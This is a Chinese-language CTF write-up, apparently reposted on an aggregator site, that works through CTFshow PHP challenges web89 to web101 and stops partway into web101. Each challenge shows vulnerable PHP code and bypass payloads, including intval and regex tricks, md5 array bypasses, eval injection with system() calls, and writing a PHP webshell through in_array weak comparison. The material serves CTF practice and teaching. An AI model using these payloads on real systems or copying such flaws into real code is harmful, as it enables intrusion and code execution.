CTFshow刷题日记-WEB-PHP特性(上篇89-115)
Posted Ocean:)
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFshow刷题日记-WEB-PHP特性(上篇89-115)相关的知识,希望对你有一定的参考价值。
Part1
有关 intval() 函数的绕过技巧
web89
clude("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
能被intval认成数字,又不包括数字0-9
看了下intval函数,发现可以传数组
?num[1]=a&num[2]=b
web90
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
关键是 intval($num,0)===4476 成立
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
但是intval不止支持十进制,所以可以用其他进制绕过
?num=0x117c //16进制
还可以用小数绕过
?num=4476.4
echo intval(4.2); // 4
因为intval是取整函数,所以
echo intval(4476a) // 4476
web91
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
两个 if 判断差在了 preg_match 的比较模式是不是有 m,所以 m 是什么就一定要搞明白了
称为内联匹配模式,通常用内联匹配模式代替使用枚举值RegexOptions指定的全局匹配模式,写起来更简洁。起来更简洁。
(?i) 表示所在位置右侧的表达式开启忽略大小写模式
(?s) 表示所在位置右侧的表达式开启单行模式。
更改句点字符 (.) 的含义,以使它与每个字符(而不是除 \\n 之外的所有字符)匹配。
注意:(?s)通常在匹配有换行的文本时使用
(?m) 表示所在位置右侧的表示式开启指定多行模式。
更改 ^ 和 $ 的含义,以使它们分别与任何行的开头和结尾匹配,
而不只是与整个字符串的开头和结尾匹配。
注意:(?m)只有在正则表达式中涉及到多行的“^”和“$”的匹配时,才使用Multiline模式。
上面的匹配模式可以组合使用,比如(?is),(?im)。
另外,还可以用(?i:exp)或者(?i)exp(?-i)来指定匹配的有效范围。
.表示除\\n之外的任意字符
*表示匹配0-无穷
+表示匹配1-无穷
也就是可以通过换行绕过第二个判断
payload
?cmd=111%0aphp //%0a就是表示换行
web92
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
咋一看和web90是一个题但是变成了弱类型比较
之前的 4476a 此处就不适用了,因为
var_dump('4476a'==4476);
// 输出bool(true)
payload
可以用进制和小数绕过
?num=4476.6
?num=010574 //8进制
?num=0x117c //16进制
还可以通过科学计数法e绕过
在url中输入的数据默认就是字符串类型
<?php
var_dump('4476e123'==4476);
var_dump(intval('4476e123'))
?>
// 输出
bool(false)
//作为字符串类型进行弱类型比较现转换成数字4476e123科学计数法形式不等于数字4476
int(4476)
//intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取
/?num=4476e123
web93
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
这很明显过滤了字母,也就是十六进制和科学记数法不能使用了,还有八进制和小数可以用
?num=4476.6
?num=010574 //8进制
web94
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
多了个strpos函数
strpos — 查找字符串首次出现的位置
也就是说num中必须出现0,且0不能出现在第一位,因为如果出现在第一位则strpos返回0,0取反条件成立执行die
strpos() 函数对大小写敏感
payload
?num=4476.0
可以在八进制前边加空格
?num= 010574
web95
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
加了过滤小数点,也就是小数格式无法使用
payload
?num= 010574
Part2
web96
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
构造相对路径绕过弱类型比较
?u=./flag.php
web97
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
a不等于b,但是md5值强类型相等
数组类型绕过
post:a[]=1&b[]=2
因为数组经过md5函数返回null,两个null强类型相等
如果是弱类型比较可以找,两个数md5都是0e开头的就行
web98
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
分解
$_GET?$_GET=&$_POST:'flag';
也就是说GET获取的变量都要在POST位置提交
最终目的是
$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__
也就是中间的两个没啥用
直接get任意,再post:HTTP_FLAG=flag
web99
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
上边的for就是生成了一个有数字组成的数组,重点在这个in_array函数
in_array函数也是弱类型比较
<?php
$array = array(1, 2, 3, 4);
var_dump(in_array("1a.php",$array));
?>
// bool(true)
payload
get:?n=1a.php
post:content=<?php system('cat flag36d.php');?>
写入1a.php访问,查看源码即可
web100
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\;/", $v2)){
if(preg_match("/\\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
$a=true and false and false;
var_dump($a); 返回true
$a=true && false && false;
var_dump($a); 返回false
所以只要保证v1是数字v3有; 即可
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
或者直接拿到ctfshow.php
?v1=1&v2=system('nl ctfshow.php')/*&v3=*/;
也可以用反射的方法
首先来学习一下反射
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');
var_dump($a->getConstants()); //获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}
var_dump($a->getName()); //获取类名
输出
string(1) "A"
var_dump($a->getStaticProperties()); //获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}
var_dump($a->getMethods()); //获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}
payload
直接输出 ctfshow 类即可,也就是构造出
echo new ReflectionClass('ctfshow');
payload:
?v1=1&v2=echo new ReflectionClass&v3=;
web101
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow()以上是关于CTFshow刷题日记-WEB-PHP特性(上篇89-115)的主要内容,如果未能解决你的问题,请参考以下文章